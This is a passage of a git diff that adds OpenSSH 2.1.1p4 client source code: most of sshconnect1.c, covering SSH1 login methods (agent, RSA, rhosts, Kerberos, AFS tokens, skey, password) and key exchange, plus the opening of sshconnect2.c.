ylo + * Code to connect to a remote host, and to perform the client side of the + * login (authentication) dialog. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: sshconnect1.c,v 1.3 2000/05/08 17:12:16 markus Exp $"); + +#include +#include +#include +#include + +#include "xmalloc.h" +#include "rsa.h" +#include "ssh.h" +#include "buffer.h" +#include "packet.h" +#include "authfd.h" +#include "cipher.h" +#include "mpaux.h" +#include "uidswap.h" +#include "readconf.h" +#include "key.h" +#include "sshconnect.h" +#include "authfile.h" + +/* Session id for the current session. */ +unsigned char session_id[16]; +unsigned int supported_authentications = 0; + +extern Options options; +extern char *__progname; + +/* + * Checks if the user has an authentication agent, and if so, tries to + * authenticate using the agent. + */ +int +try_agent_authentication() +{ + int status, type; + char *comment; + AuthenticationConnection *auth; + unsigned char response[16]; + unsigned int i; + BIGNUM *e, *n, *challenge; + + /* Get connection to the agent. */ + auth = ssh_get_authentication_connection(); + if (!auth) + return 0; + + e = BN_new(); + n = BN_new(); + challenge = BN_new(); + + /* Loop through identities served by the agent. */ + for (status = ssh_get_first_identity(auth, e, n, &comment); + status; + status = ssh_get_next_identity(auth, e, n, &comment)) { + int plen, clen; + + /* Try this identity. */ + debug("Trying RSA authentication via agent with '%.100s'", comment); + xfree(comment); + + /* Tell the server that we are willing to authenticate using this key. */ + packet_start(SSH_CMSG_AUTH_RSA); + packet_put_bignum(n); + packet_send(); + packet_write_wait(); + + /* Wait for server's response. */ + type = packet_read(&plen); + + /* The server sends failure if it doesn\'t like our key or + does not support RSA authentication. */ + if (type == SSH_SMSG_FAILURE) { + debug("Server refused our key."); + continue; + } + /* Otherwise it should have sent a challenge. */ + if (type != SSH_SMSG_AUTH_RSA_CHALLENGE) + packet_disconnect("Protocol error during RSA authentication: %d", + type); + + packet_get_bignum(challenge, &clen); + + packet_integrity_check(plen, clen, type); + + debug("Received RSA challenge from server."); + + /* Ask the agent to decrypt the challenge. */ + if (!ssh_decrypt_challenge(auth, e, n, challenge, + session_id, 1, response)) { + /* The agent failed to authenticate this identifier although it + advertised it supports this. Just return a wrong value. */ + log("Authentication agent failed to decrypt challenge."); + memset(response, 0, sizeof(response)); + } + debug("Sending response to RSA challenge."); + + /* Send the decrypted challenge back to the server. */ + packet_start(SSH_CMSG_AUTH_RSA_RESPONSE); + for (i = 0; i < 16; i++) + packet_put_char(response[i]); + packet_send(); + packet_write_wait(); + + /* Wait for response from the server. */ + type = packet_read(&plen); + + /* The server returns success if it accepted the authentication. */ + if (type == SSH_SMSG_SUCCESS) { + debug("RSA authentication accepted by server."); + BN_clear_free(e); + BN_clear_free(n); + BN_clear_free(challenge); + return 1; + } + /* Otherwise it should return failure. */ + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error waiting RSA auth response: %d", + type); + } + + BN_clear_free(e); + BN_clear_free(n); + BN_clear_free(challenge); + + debug("RSA authentication using agent refused."); + return 0; +} + +/* + * Computes the proper response to a RSA challenge, and sends the response to + * the server. + */ +void +respond_to_rsa_challenge(BIGNUM * challenge, RSA * prv) +{ + unsigned char buf[32], response[16]; + MD5_CTX md; + int i, len; + + /* Decrypt the challenge using the private key. */ + rsa_private_decrypt(challenge, challenge, prv); + + /* Compute the response. */ + /* The response is MD5 of decrypted challenge plus session id. */ + len = BN_num_bytes(challenge); + if (len <= 0 || len > sizeof(buf)) + packet_disconnect("respond_to_rsa_challenge: bad challenge length %d", + len); + + memset(buf, 0, sizeof(buf)); + BN_bn2bin(challenge, buf + sizeof(buf) - len); + MD5_Init(&md); + MD5_Update(&md, buf, 32); + MD5_Update(&md, session_id, 16); + MD5_Final(response, &md); + + debug("Sending response to host key RSA challenge."); + + /* Send the response back to the server. */ + packet_start(SSH_CMSG_AUTH_RSA_RESPONSE); + for (i = 0; i < 16; i++) + packet_put_char(response[i]); + packet_send(); + packet_write_wait(); + + memset(buf, 0, sizeof(buf)); + memset(response, 0, sizeof(response)); + memset(&md, 0, sizeof(md)); +} + +/* + * Checks if the user has authentication file, and if so, tries to authenticate + * the user using it. + */ +int +try_rsa_authentication(const char *authfile) +{ + BIGNUM *challenge; + Key *public; + Key *private; + char *passphrase, *comment; + int type, i; + int plen, clen; + + /* Try to load identification for the authentication key. */ + public = key_new(KEY_RSA); + if (!load_public_key(authfile, public, &comment)) { + key_free(public); + /* Could not load it. Fail. */ + return 0; + } + debug("Trying RSA authentication with key '%.100s'", comment); + + /* Tell the server that we are willing to authenticate using this key. */ + packet_start(SSH_CMSG_AUTH_RSA); + packet_put_bignum(public->rsa->n); + packet_send(); + packet_write_wait(); + + /* We no longer need the public key. */ + key_free(public); + + /* Wait for server's response. */ + type = packet_read(&plen); + + /* + * The server responds with failure if it doesn\'t like our key or + * doesn\'t support RSA authentication. + */ + if (type == SSH_SMSG_FAILURE) { + debug("Server refused our key."); + xfree(comment); + return 0; + } + /* Otherwise, the server should respond with a challenge. */ + if (type != SSH_SMSG_AUTH_RSA_CHALLENGE) + packet_disconnect("Protocol error during RSA authentication: %d", type); + + /* Get the challenge from the packet. */ + challenge = BN_new(); + packet_get_bignum(challenge, &clen); + + packet_integrity_check(plen, clen, type); + + debug("Received RSA challenge from server."); + + private = key_new(KEY_RSA); + /* + * Load the private key. Try first with empty passphrase; if it + * fails, ask for a passphrase. + */ + if (!load_private_key(authfile, "", private, NULL)) { + char buf[300]; + snprintf(buf, sizeof buf, "Enter passphrase for RSA key '%.100s': ", + comment); + if (!options.batch_mode) + passphrase = read_passphrase(buf, 0); + else { + debug("Will not query passphrase for %.100s in batch mode.", + comment); + passphrase = xstrdup(""); + } + + /* Load the authentication file using the pasphrase. */ + if (!load_private_key(authfile, passphrase, private, NULL)) { + memset(passphrase, 0, strlen(passphrase)); + xfree(passphrase); + error("Bad passphrase."); + + /* Send a dummy response packet to avoid protocol error. */ + packet_start(SSH_CMSG_AUTH_RSA_RESPONSE); + for (i = 0; i < 16; i++) + packet_put_char(0); + packet_send(); + packet_write_wait(); + + /* Expect the server to reject it... */ + packet_read_expect(&plen, SSH_SMSG_FAILURE); + xfree(comment); + return 0; + } + /* Destroy the passphrase. */ + memset(passphrase, 0, strlen(passphrase)); + xfree(passphrase); + } + /* We no longer need the comment. */ + xfree(comment); + + /* Compute and send a response to the challenge. */ + respond_to_rsa_challenge(challenge, private->rsa); + + /* Destroy the private key. */ + key_free(private); + + /* We no longer need the challenge. */ + BN_clear_free(challenge); + + /* Wait for response from the server. */ + type = packet_read(&plen); + if (type == SSH_SMSG_SUCCESS) { + debug("RSA authentication accepted by server."); + return 1; + } + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error waiting RSA auth response: %d", type); + debug("RSA authentication refused."); + return 0; +} + +/* + * Tries to authenticate the user using combined rhosts or /etc/hosts.equiv + * authentication and RSA host authentication. + */ +int +try_rhosts_rsa_authentication(const char *local_user, RSA * host_key) +{ + int type; + BIGNUM *challenge; + int plen, clen; + + debug("Trying rhosts or /etc/hosts.equiv with RSA host authentication."); + + /* Tell the server that we are willing to authenticate using this key. */ + packet_start(SSH_CMSG_AUTH_RHOSTS_RSA); + packet_put_string(local_user, strlen(local_user)); + packet_put_int(BN_num_bits(host_key->n)); + packet_put_bignum(host_key->e); + packet_put_bignum(host_key->n); + packet_send(); + packet_write_wait(); + + /* Wait for server's response. */ + type = packet_read(&plen); + + /* The server responds with failure if it doesn't admit our + .rhosts authentication or doesn't know our host key. */ + if (type == SSH_SMSG_FAILURE) { + debug("Server refused our rhosts authentication or host key."); + return 0; + } + /* Otherwise, the server should respond with a challenge. */ + if (type != SSH_SMSG_AUTH_RSA_CHALLENGE) + packet_disconnect("Protocol error during RSA authentication: %d", type); + + /* Get the challenge from the packet. */ + challenge = BN_new(); + packet_get_bignum(challenge, &clen); + + packet_integrity_check(plen, clen, type); + + debug("Received RSA challenge for host key from server."); + + /* Compute a response to the challenge. */ + respond_to_rsa_challenge(challenge, host_key); + + /* We no longer need the challenge. */ + BN_clear_free(challenge); + + /* Wait for response from the server. */ + type = packet_read(&plen); + if (type == SSH_SMSG_SUCCESS) { + debug("Rhosts or /etc/hosts.equiv with RSA host authentication accepted by server."); + return 1; + } + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error waiting RSA auth response: %d", type); + debug("Rhosts or /etc/hosts.equiv with RSA host authentication refused."); + return 0; +} + +#ifdef KRB4 +int +try_kerberos_authentication() +{ + KTEXT_ST auth; /* Kerberos data */ + char *reply; + char inst[INST_SZ]; + char *realm; + CREDENTIALS cred; + int r, type, plen; + socklen_t slen; + Key_schedule schedule; + u_long checksum, cksum; + MSG_DAT msg_data; + struct sockaddr_in local, foreign; + struct stat st; + + /* Don't do anything if we don't have any tickets. */ + if (stat(tkt_string(), &st) < 0) + return 0; + + strncpy(inst, (char *) krb_get_phost(get_canonical_hostname()), INST_SZ); + + realm = (char *) krb_realmofhost(get_canonical_hostname()); + if (!realm) { + debug("Kerberos V4: no realm for %s", get_canonical_hostname()); + return 0; + } + /* This can really be anything. */ + checksum = (u_long) getpid(); + + r = krb_mk_req(&auth, KRB4_SERVICE_NAME, inst, realm, checksum); + if (r != KSUCCESS) { + debug("Kerberos V4 krb_mk_req failed: %s", krb_err_txt[r]); + return 0; + } + /* Get session key to decrypt the server's reply with. */ + r = krb_get_cred(KRB4_SERVICE_NAME, inst, realm, &cred); + if (r != KSUCCESS) { + debug("get_cred failed: %s", krb_err_txt[r]); + return 0; + } + des_key_sched((des_cblock *) cred.session, schedule); + + /* Send authentication info to server. */ + packet_start(SSH_CMSG_AUTH_KERBEROS); + packet_put_string((char *) auth.dat, auth.length); + packet_send(); + packet_write_wait(); + + /* Zero the buffer. */ + (void) memset(auth.dat, 0, MAX_KTXT_LEN); + + slen = sizeof(local); + memset(&local, 0, sizeof(local)); + if (getsockname(packet_get_connection_in(), + (struct sockaddr *) & local, &slen) < 0) + debug("getsockname failed: %s", strerror(errno)); + + slen = sizeof(foreign); + memset(&foreign, 0, sizeof(foreign)); + if (getpeername(packet_get_connection_in(), + (struct sockaddr *) & foreign, &slen) < 0) { + debug("getpeername failed: %s", strerror(errno)); + fatal_cleanup(); + } + /* Get server reply. */ + type = packet_read(&plen); + switch (type) { + case SSH_SMSG_FAILURE: + /* Should really be SSH_SMSG_AUTH_KERBEROS_FAILURE */ + debug("Kerberos V4 authentication failed."); + return 0; + break; + + case SSH_SMSG_AUTH_KERBEROS_RESPONSE: + /* SSH_SMSG_AUTH_KERBEROS_SUCCESS */ + debug("Kerberos V4 authentication accepted."); + + /* Get server's response. */ + reply = packet_get_string((unsigned int *) &auth.length); + memcpy(auth.dat, reply, auth.length); + xfree(reply); + + packet_integrity_check(plen, 4 + auth.length, type); + + /* + * If his response isn't properly encrypted with the session + * key, and the decrypted checksum fails to match, he's + * bogus. Bail out. + */ + r = krb_rd_priv(auth.dat, auth.length, schedule, &cred.session, + &foreign, &local, &msg_data); + if (r != KSUCCESS) { + debug("Kerberos V4 krb_rd_priv failed: %s", krb_err_txt[r]); + packet_disconnect("Kerberos V4 challenge failed!"); + } + /* Fetch the (incremented) checksum that we supplied in the request. */ + (void) memcpy((char *) &cksum, (char *) msg_data.app_data, sizeof(cksum)); + cksum = ntohl(cksum); + + /* If it matches, we're golden. */ + if (cksum == checksum + 1) { + debug("Kerberos V4 challenge successful."); + return 1; + } else + packet_disconnect("Kerberos V4 challenge failed!"); + break; + + default: + packet_disconnect("Protocol error on Kerberos V4 response: %d", type); + } + return 0; +} + +#endif /* KRB4 */ + +#ifdef AFS +int +send_kerberos_tgt() +{ + CREDENTIALS *creds; + char pname[ANAME_SZ], pinst[INST_SZ], prealm[REALM_SZ]; + int r, type, plen; + char buffer[8192]; + struct stat st; + + /* Don't do anything if we don't have any tickets. */ + if (stat(tkt_string(), &st) < 0) + return 0; + + creds = xmalloc(sizeof(*creds)); + + if ((r = krb_get_tf_fullname(TKT_FILE, pname, pinst, prealm)) != KSUCCESS) { + debug("Kerberos V4 tf_fullname failed: %s", krb_err_txt[r]); + return 0; + } + if ((r = krb_get_cred("krbtgt", prealm, prealm, creds)) != GC_OK) { + debug("Kerberos V4 get_cred failed: %s", krb_err_txt[r]); + return 0; + } + if (time(0) > krb_life_to_time(creds->issue_date, creds->lifetime)) { + debug("Kerberos V4 ticket expired: %s", TKT_FILE); + return 0; + } + creds_to_radix(creds, (unsigned char *)buffer, sizeof buffer); + xfree(creds); + + packet_start(SSH_CMSG_HAVE_KERBEROS_TGT); + packet_put_string(buffer, strlen(buffer)); + packet_send(); + packet_write_wait(); + + type = packet_read(&plen); + + if (type == SSH_SMSG_FAILURE) + debug("Kerberos TGT for realm %s rejected.", prealm); + else if (type != SSH_SMSG_SUCCESS) + packet_disconnect("Protocol error on Kerberos TGT response: %d", type); + + return 1; +} + +void +send_afs_tokens(void) +{ + CREDENTIALS creds; + struct ViceIoctl parms; + struct ClearToken ct; + int i, type, len, plen; + char buf[2048], *p, *server_cell; + char buffer[8192]; + + /* Move over ktc_GetToken, here's something leaner. */ + for (i = 0; i < 100; i++) { /* just in case */ + parms.in = (char *) &i; + parms.in_size = sizeof(i); + parms.out = buf; + parms.out_size = sizeof(buf); + if (k_pioctl(0, VIOCGETTOK, &parms, 0) != 0) + break; + p = buf; + + /* Get secret token. */ + memcpy(&creds.ticket_st.length, p, sizeof(unsigned int)); + if (creds.ticket_st.length > MAX_KTXT_LEN) + break; + p += sizeof(unsigned int); + memcpy(creds.ticket_st.dat, p, creds.ticket_st.length); + p += creds.ticket_st.length; + + /* Get clear token. */ + memcpy(&len, p, sizeof(len)); + if (len != sizeof(struct ClearToken)) + break; + p += sizeof(len); + memcpy(&ct, p, len); + p += len; + p += sizeof(len); /* primary flag */ + server_cell = p; + + /* Flesh out our credentials. */ + strlcpy(creds.service, "afs", sizeof creds.service); + creds.instance[0] = '\0'; + strlcpy(creds.realm, server_cell, REALM_SZ); + memcpy(creds.session, ct.HandShakeKey, DES_KEY_SZ); + creds.issue_date = ct.BeginTimestamp; + creds.lifetime = krb_time_to_life(creds.issue_date, ct.EndTimestamp); + creds.kvno = ct.AuthHandle; + snprintf(creds.pname, sizeof(creds.pname), "AFS ID %d", ct.ViceId); + creds.pinst[0] = '\0'; + + /* Encode token, ship it off. */ + if (creds_to_radix(&creds, (unsigned char*) buffer, sizeof buffer) <= 0) + break; + packet_start(SSH_CMSG_HAVE_AFS_TOKEN); + packet_put_string(buffer, strlen(buffer)); + packet_send(); + packet_write_wait(); + + /* Roger, Roger. Clearance, Clarence. What's your vector, + Victor? */ + type = packet_read(&plen); + + if (type == SSH_SMSG_FAILURE) + debug("AFS token for cell %s rejected.", server_cell); + else if (type != SSH_SMSG_SUCCESS) + packet_disconnect("Protocol error on AFS token response: %d", type); + } +} + +#endif /* AFS */ + +/* + * Tries to authenticate with any string-based challenge/response system. + * Note that the client code is not tied to s/key or TIS. + */ +int +try_skey_authentication() +{ + int type, i; + int payload_len; + unsigned int clen; + char *challenge, *response; + + debug("Doing skey authentication."); + + /* request a challenge */ + packet_start(SSH_CMSG_AUTH_TIS); + packet_send(); + packet_write_wait(); + + type = packet_read(&payload_len); + if (type != SSH_SMSG_FAILURE && + type != SSH_SMSG_AUTH_TIS_CHALLENGE) { + packet_disconnect("Protocol error: got %d in response " + "to skey-auth", type); + } + if (type != SSH_SMSG_AUTH_TIS_CHALLENGE) { + debug("No challenge for skey authentication."); + return 0; + } + challenge = packet_get_string(&clen); + packet_integrity_check(payload_len, (4 + clen), type); + if (options.cipher == SSH_CIPHER_NONE) + log("WARNING: Encryption is disabled! " + "Reponse will be transmitted in clear text."); + fprintf(stderr, "%s\n", challenge); + xfree(challenge); + fflush(stderr); + for (i = 0; i < options.number_of_password_prompts; i++) { + if (i != 0) + error("Permission denied, please try again."); + response = read_passphrase("Response: ", 0); + packet_start(SSH_CMSG_AUTH_TIS_RESPONSE); + packet_put_string(response, strlen(response)); + memset(response, 0, strlen(response)); + xfree(response); + packet_send(); + packet_write_wait(); + type = packet_read(&payload_len); + if (type == SSH_SMSG_SUCCESS) + return 1; + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error: got %d in response " + "to skey-auth-reponse", type); + } + /* failure */ + return 0; +} + +/* + * Tries to authenticate with plain passwd authentication. + */ +int +try_password_authentication(char *prompt) +{ + int type, i, payload_len; + char *password; + + debug("Doing password authentication."); + if (options.cipher == SSH_CIPHER_NONE) + log("WARNING: Encryption is disabled! Password will be transmitted in clear text."); + for (i = 0; i < options.number_of_password_prompts; i++) { + if (i != 0) + error("Permission denied, please try again."); + password = read_passphrase(prompt, 0); + packet_start(SSH_CMSG_AUTH_PASSWORD); + packet_put_string(password, strlen(password)); + memset(password, 0, strlen(password)); + xfree(password); + packet_send(); + packet_write_wait(); + + type = packet_read(&payload_len); + if (type == SSH_SMSG_SUCCESS) + return 1; + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error: got %d in response to passwd auth", type); + } + /* failure */ + return 0; +} + +/* + * SSH1 key exchange + */ +void +ssh_kex(char *host, struct sockaddr *hostaddr) +{ + int i; + BIGNUM *key; + RSA *host_key; + RSA *public_key; + Key k; + int bits, rbits; + int ssh_cipher_default = SSH_CIPHER_3DES; + unsigned char session_key[SSH_SESSION_KEY_LENGTH]; + unsigned char cookie[8]; + unsigned int supported_ciphers; + unsigned int server_flags, client_flags; + int payload_len, clen, sum_len = 0; + u_int32_t rand = 0; + + debug("Waiting for server public key."); + + /* Wait for a public key packet from the server. */ + packet_read_expect(&payload_len, SSH_SMSG_PUBLIC_KEY); + + /* Get cookie from the packet. */ + for (i = 0; i < 8; i++) + cookie[i] = packet_get_char(); + + /* Get the public key. */ + public_key = RSA_new(); + bits = packet_get_int();/* bits */ + public_key->e = BN_new(); + packet_get_bignum(public_key->e, &clen); + sum_len += clen; + public_key->n = BN_new(); + packet_get_bignum(public_key->n, &clen); + sum_len += clen; + + rbits = BN_num_bits(public_key->n); + if (bits != rbits) { + log("Warning: Server lies about size of server public key: " + "actual size is %d bits vs. announced %d.", rbits, bits); + log("Warning: This may be due to an old implementation of ssh."); + } + /* Get the host key. */ + host_key = RSA_new(); + bits = packet_get_int();/* bits */ + host_key->e = BN_new(); + packet_get_bignum(host_key->e, &clen); + sum_len += clen; + host_key->n = BN_new(); + packet_get_bignum(host_key->n, &clen); + sum_len += clen; + + rbits = BN_num_bits(host_key->n); + if (bits != rbits) { + log("Warning: Server lies about size of server host key: " + "actual size is %d bits vs. announced %d.", rbits, bits); + log("Warning: This may be due to an old implementation of ssh."); + } + + /* Get protocol flags. */ + server_flags = packet_get_int(); + packet_set_protocol_flags(server_flags); + + supported_ciphers = packet_get_int(); + supported_authentications = packet_get_int(); + + debug("Received server public key (%d bits) and host key (%d bits).", + BN_num_bits(public_key->n), BN_num_bits(host_key->n)); + + packet_integrity_check(payload_len, + 8 + 4 + sum_len + 0 + 4 + 0 + 0 + 4 + 4 + 4, + SSH_SMSG_PUBLIC_KEY); + k.type = KEY_RSA; + k.rsa = host_key; + check_host_key(host, hostaddr, &k, + options.user_hostfile, options.system_hostfile); + + client_flags = SSH_PROTOFLAG_SCREEN_NUMBER | SSH_PROTOFLAG_HOST_IN_FWD_OPEN; + + compute_session_id(session_id, cookie, host_key->n, public_key->n); + + /* Generate a session key. */ + arc4random_stir(); + + /* + * Generate an encryption key for the session. The key is a 256 bit + * random number, interpreted as a 32-byte key, with the least + * significant 8 bits being the first byte of the key. + */ + for (i = 0; i < 32; i++) { + if (i % 4 == 0) + rand = arc4random(); + session_key[i] = rand & 0xff; + rand >>= 8; + } + + /* + * According to the protocol spec, the first byte of the session key + * is the highest byte of the integer. The session key is xored with + * the first 16 bytes of the session id. + */ + key = BN_new(); + BN_set_word(key, 0); + for (i = 0; i < SSH_SESSION_KEY_LENGTH; i++) { + BN_lshift(key, key, 8); + if (i < 16) + BN_add_word(key, session_key[i] ^ session_id[i]); + else + BN_add_word(key, session_key[i]); + } + + /* + * Encrypt the integer using the public key and host key of the + * server (key with smaller modulus first). + */ + if (BN_cmp(public_key->n, host_key->n) < 0) { + /* Public key has smaller modulus. */ + if (BN_num_bits(host_key->n) < + BN_num_bits(public_key->n) + SSH_KEY_BITS_RESERVED) { + fatal("respond_to_rsa_challenge: host_key %d < public_key %d + " + "SSH_KEY_BITS_RESERVED %d", + BN_num_bits(host_key->n), + BN_num_bits(public_key->n), + SSH_KEY_BITS_RESERVED); + } + rsa_public_encrypt(key, key, public_key); + rsa_public_encrypt(key, key, host_key); + } else { + /* Host key has smaller modulus (or they are equal). */ + if (BN_num_bits(public_key->n) < + BN_num_bits(host_key->n) + SSH_KEY_BITS_RESERVED) { + fatal("respond_to_rsa_challenge: public_key %d < host_key %d + " + "SSH_KEY_BITS_RESERVED %d", + BN_num_bits(public_key->n), + BN_num_bits(host_key->n), + SSH_KEY_BITS_RESERVED); + } + rsa_public_encrypt(key, key, host_key); + rsa_public_encrypt(key, key, public_key); + } + + /* Destroy the public keys since we no longer need them. */ + RSA_free(public_key); + RSA_free(host_key); + + if (options.cipher == SSH_CIPHER_ILLEGAL) { + log("No valid SSH1 cipher, using %.100s instead.", + cipher_name(SSH_FALLBACK_CIPHER)); + options.cipher = SSH_FALLBACK_CIPHER; + } else if (options.cipher == SSH_CIPHER_NOT_SET) { + if (cipher_mask1() & supported_ciphers & (1 << ssh_cipher_default)) + options.cipher = ssh_cipher_default; + else { + debug("Cipher %s not supported, using %.100s instead.", + cipher_name(ssh_cipher_default), + cipher_name(SSH_FALLBACK_CIPHER)); + options.cipher = SSH_FALLBACK_CIPHER; + } + } + /* Check that the selected cipher is supported. */ + if (!(supported_ciphers & (1 << options.cipher))) + fatal("Selected cipher type %.100s not supported by server.", + cipher_name(options.cipher)); + + debug("Encryption type: %.100s", cipher_name(options.cipher)); + + /* Send the encrypted session key to the server. */ + packet_start(SSH_CMSG_SESSION_KEY); + packet_put_char(options.cipher); + + /* Send the cookie back to the server. */ + for (i = 0; i < 8; i++) + packet_put_char(cookie[i]); + + /* Send and destroy the encrypted encryption key integer. */ + packet_put_bignum(key); + BN_clear_free(key); + + /* Send protocol flags. */ + packet_put_int(client_flags); + + /* Send the packet now. */ + packet_send(); + packet_write_wait(); + + debug("Sent encrypted session key."); + + /* Set the encryption key. */ + packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH, options.cipher); + + /* We will no longer need the session key here. Destroy any extra copies. */ + memset(session_key, 0, sizeof(session_key)); + + /* + * Expect a success message from the server. Note that this message + * will be received in encrypted form. + */ + packet_read_expect(&payload_len, SSH_SMSG_SUCCESS); + + debug("Received encrypted confirmation."); +} + +/* + * Authenticate user + */ +void +ssh_userauth( + const char* local_user, + const char* server_user, + char *host, + int host_key_valid, RSA *own_host_key) +{ + int i, type; + int payload_len; + + if (supported_authentications == 0) + fatal("ssh_userauth: server supports no auth methods"); + + /* Send the name of the user to log in as on the server. */ + packet_start(SSH_CMSG_USER); + packet_put_string(server_user, strlen(server_user)); + packet_send(); + packet_write_wait(); + + /* + * The server should respond with success if no authentication is + * needed (the user has no password). Otherwise the server responds + * with failure. + */ + type = packet_read(&payload_len); + + /* check whether the connection was accepted without authentication. */ + if (type == SSH_SMSG_SUCCESS) + return; + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error: got %d in response to SSH_CMSG_USER", + type); + +#ifdef AFS + /* Try Kerberos tgt passing if the server supports it. */ + if ((supported_authentications & (1 << SSH_PASS_KERBEROS_TGT)) && + options.kerberos_tgt_passing) { + if (options.cipher == SSH_CIPHER_NONE) + log("WARNING: Encryption is disabled! Ticket will be transmitted in the clear!"); + (void) send_kerberos_tgt(); + } + /* Try AFS token passing if the server supports it. */ + if ((supported_authentications & (1 << SSH_PASS_AFS_TOKEN)) && + options.afs_token_passing && k_hasafs()) { + if (options.cipher == SSH_CIPHER_NONE) + log("WARNING: Encryption is disabled! Token will be transmitted in the clear!"); + send_afs_tokens(); + } +#endif /* AFS */ + +#ifdef KRB4 + if ((supported_authentications & (1 << SSH_AUTH_KERBEROS)) && + options.kerberos_authentication) { + debug("Trying Kerberos authentication."); + if (try_kerberos_authentication()) { + /* The server should respond with success or failure. */ + type = packet_read(&payload_len); + if (type == SSH_SMSG_SUCCESS) + return; + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error: got %d in response to Kerberos auth", type); + } + } +#endif /* KRB4 */ + + /* + * Use rhosts authentication if running in privileged socket and we + * do not wish to remain anonymous. + */ + if ((supported_authentications & (1 << SSH_AUTH_RHOSTS)) && + options.rhosts_authentication) { + debug("Trying rhosts authentication."); + packet_start(SSH_CMSG_AUTH_RHOSTS); + packet_put_string(local_user, strlen(local_user)); + packet_send(); + packet_write_wait(); + + /* The server should respond with success or failure. */ + type = packet_read(&payload_len); + if (type == SSH_SMSG_SUCCESS) + return; + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error: got %d in response to rhosts auth", + type); + } + /* + * Try .rhosts or /etc/hosts.equiv authentication with RSA host + * authentication. + */ + if ((supported_authentications & (1 << SSH_AUTH_RHOSTS_RSA)) && + options.rhosts_rsa_authentication && host_key_valid) { + if (try_rhosts_rsa_authentication(local_user, own_host_key)) + return; + } + /* Try RSA authentication if the server supports it. */ + if ((supported_authentications & (1 << SSH_AUTH_RSA)) && + options.rsa_authentication) { + /* + * Try RSA authentication using the authentication agent. The + * agent is tried first because no passphrase is needed for + * it, whereas identity files may require passphrases. + */ + if (try_agent_authentication()) + return; + + /* Try RSA authentication for each identity. */ + for (i = 0; i < options.num_identity_files; i++) + if (try_rsa_authentication(options.identity_files[i])) + return; + } + /* Try skey authentication if the server supports it. */ + if ((supported_authentications & (1 << SSH_AUTH_TIS)) && + options.skey_authentication && !options.batch_mode) { + if (try_skey_authentication()) + return; + } + /* Try password authentication if the server supports it. */ + if ((supported_authentications & (1 << SSH_AUTH_PASSWORD)) && + options.password_authentication && !options.batch_mode) { + char prompt[80]; + + snprintf(prompt, sizeof(prompt), "%.30s@%.40s's password: ", + server_user, host); + if (try_password_authentication(prompt)) + return; + } + /* All authentication methods have failed. Exit with an error message. */ + fatal("Permission denied."); + /* NOTREACHED */ +} diff --git a/other/openssh-2.1.1p4/sshconnect2.c b/other/openssh-2.1.1p4/sshconnect2.c new file mode 100644 index 0000000..ae96d53 --- /dev/null +++ b/other/openssh-2.1.1p4/sshconnect2.c @@ -0,0 +1,461 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: sshconnect2.c,v 1.15 2000/06/21 16:46:10 markus Exp $"); + +#include +#include +#include +#include +#include +#include + +#include "ssh.h" +#include "xmalloc.h" +#include "rsa.h" +#include "buffer.h" +#include "packet.h" +#include "cipher.h" +#include "uidswap.h" +#include "compat.h" +#include "readconf.h" +#include "bufaux.h" +#include "ssh2.h" +#include "kex.h" +#include "myproposal.h" +#include "key.h" +#include "dsa.h" +#include "sshconnect.h" +#include "authfile.h" + +/* import */ +extern char *client_version_string; +extern char *server_version_string; +extern Options options; + +/* + * SSH2 key exchange + */ + +unsigned char *session_id2 = NULL; +int session_id2_len = 0; + +void +ssh_kex_dh(Kex *kex, char *host, struct sockaddr *hostaddr, + Buffer *client_kexinit, Buffer *server_kexinit) +{ + int plen, dlen; + unsigned int klen, kout; + char *signature = NULL; + unsigned int slen; + char *server_host_key_blob = NULL; + Key *server_host_key; + unsigned int sbloblen; + DH *dh; + BIGNUM *dh_server_pub = 0; + BIGNUM *shared_secret = 0; + unsigned char *kbuf; + unsigned char *hash; + + debug("Sending SSH2_MSG_KEXDH_INIT."); + /* generate and send 'e', client DH public key */ + dh = dh_new_group1(); + packet_start(SSH2_MSG_KEXDH_INIT); + packet_put_bignum2(dh->pub_key); + packet_send(); + packet_write_wait(); + +#ifdef DEBUG_KEXDH + fprintf(stderr, "\np= "); + bignum_print(dh->p); + fprintf(stderr, "\ng= "); + bignum_print(dh->g); + fprintf(stderr, "\npub= "); + bignum_print(dh->pub_key); + fprintf(stderr, "\n"); + DHparams_print_fp(stderr, dh); +#endif + + debug("Wait SSH2_MSG_KEXDH_REPLY."); + + packet_read_expect(&plen, SSH2_MSG_KEXDH_REPLY); + + debug("Got SSH2_MSG_KEXDH_REPLY."); + + /* key, cert */ + 